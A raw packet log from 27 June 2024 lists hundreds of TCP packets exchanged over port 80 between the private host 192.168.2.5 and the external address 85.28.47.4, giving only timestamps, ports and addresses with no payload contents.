Jun 27, 2024 07:37:09.581964016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581984043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582088947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582112074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582138062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582159042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582356930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582375050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582393885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582408905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582426071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582447052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582499981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582521915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582550049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582564116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582742929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582787991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582792997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582806110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582830906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582848072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.582953930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582972050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.582989931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583004951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583007097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583028078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583054066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583190918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583209038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583226919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583240032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583281040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583559990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583611012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583611012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583628893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583657980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583671093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583775997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583792925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583811045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583826065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583831072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.583844900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583864927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.583882093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584028006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584044933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584064007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584078074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584081888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584100008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584121943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584537029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584578991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584589005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584598064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584619999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584640980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584743023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584760904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584779024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584796906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584798098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584817886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584853888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.584959030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584975958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.584994078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585005045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585011959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585027933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585051060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585481882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585527897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585535049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585546970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585570097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585596085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585692883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585711956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585730076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585738897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585748911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585757971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585778952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585797071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585899115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585916996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.585943937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.585963964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.655818939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.655854940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.655870914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.655956984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.655972004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.656006098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.656023026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.656053066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.656054020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.656071901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.656085968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.656101942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.656126022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.656285048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.656330109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659383059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659415960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659435034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659459114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659466982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659485102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659558058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659578085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659596920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659610033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659630060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659648895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659754038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659771919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659791946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659811974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659833908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659853935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659894943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659943104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.659962893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.659982920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.660002947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.660013914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.660023928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.660032034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.660042048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.660051107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.660073042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.660090923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664051056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664068937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664087057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664120913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664167881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664186954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664206028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664205074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664205074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664225101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664254904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664283991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664844036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664861917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664891005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664902925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664911032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664922953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664930105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.664941072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664963961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.664983034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665004969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665034056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665047884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665051937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665067911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665080070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665086031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665093899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665105104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665117025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665122986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665138960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665159941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665159941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665178061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665184975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665196896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665210009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665225029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665226936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665244102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665251970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665262938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665270090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665282965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665293932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665313959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665399075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665419102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665424109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665436983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665447950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665460110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.665467978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665488958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.665535927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.669702053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.669787884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.669799089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.669819117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.669850111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.669871092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.669920921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.669939995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.669959068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.669969082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.669989109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670007944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670010090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670053005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670154095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670171976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670191050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670197964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670208931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670219898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670229912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670238972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670260906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670275927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670445919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670464993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670492887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670517921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670521021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670536995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670556068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670558929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670574903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670584917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670593977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670599937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670623064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670640945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.670830011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.670871973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671032906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671051025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671068907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671080112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671087980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671099901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671107054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671125889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671125889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671144962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671158075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671163082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671183109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671183109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671212912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671236038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671590090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671608925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671627045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671638012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671646118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671659946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671664953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671684027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671693087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671701908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671720982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671725988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671740055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671757936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.671765089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671785116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.671818018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672096014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672115088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672133923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672141075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672162056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672180891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672378063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672394991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672413111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672424078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672431946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672444105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672451019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672470093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672473907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672497988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672504902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672517061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672535896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672539949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672554016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672573090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672574043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672590971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.672607899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.672627926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.673006058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.673022985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.673042059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.673054934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.673059940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.673074007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.673079014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.673096895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.673098087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.673115969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.673135996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.673156023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.741976976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.742022038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.742050886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.742084026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.742103100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.742172003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.742192984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.742212057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.742225885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.742230892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.742264986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.742297888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746108055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746176004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746185064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746205091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746232033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746263027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746284962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746331930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746434927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746454954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746473074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746490955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.746490955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.746510029 CEST	80	49705	85.28.47.4	192.168.2.5
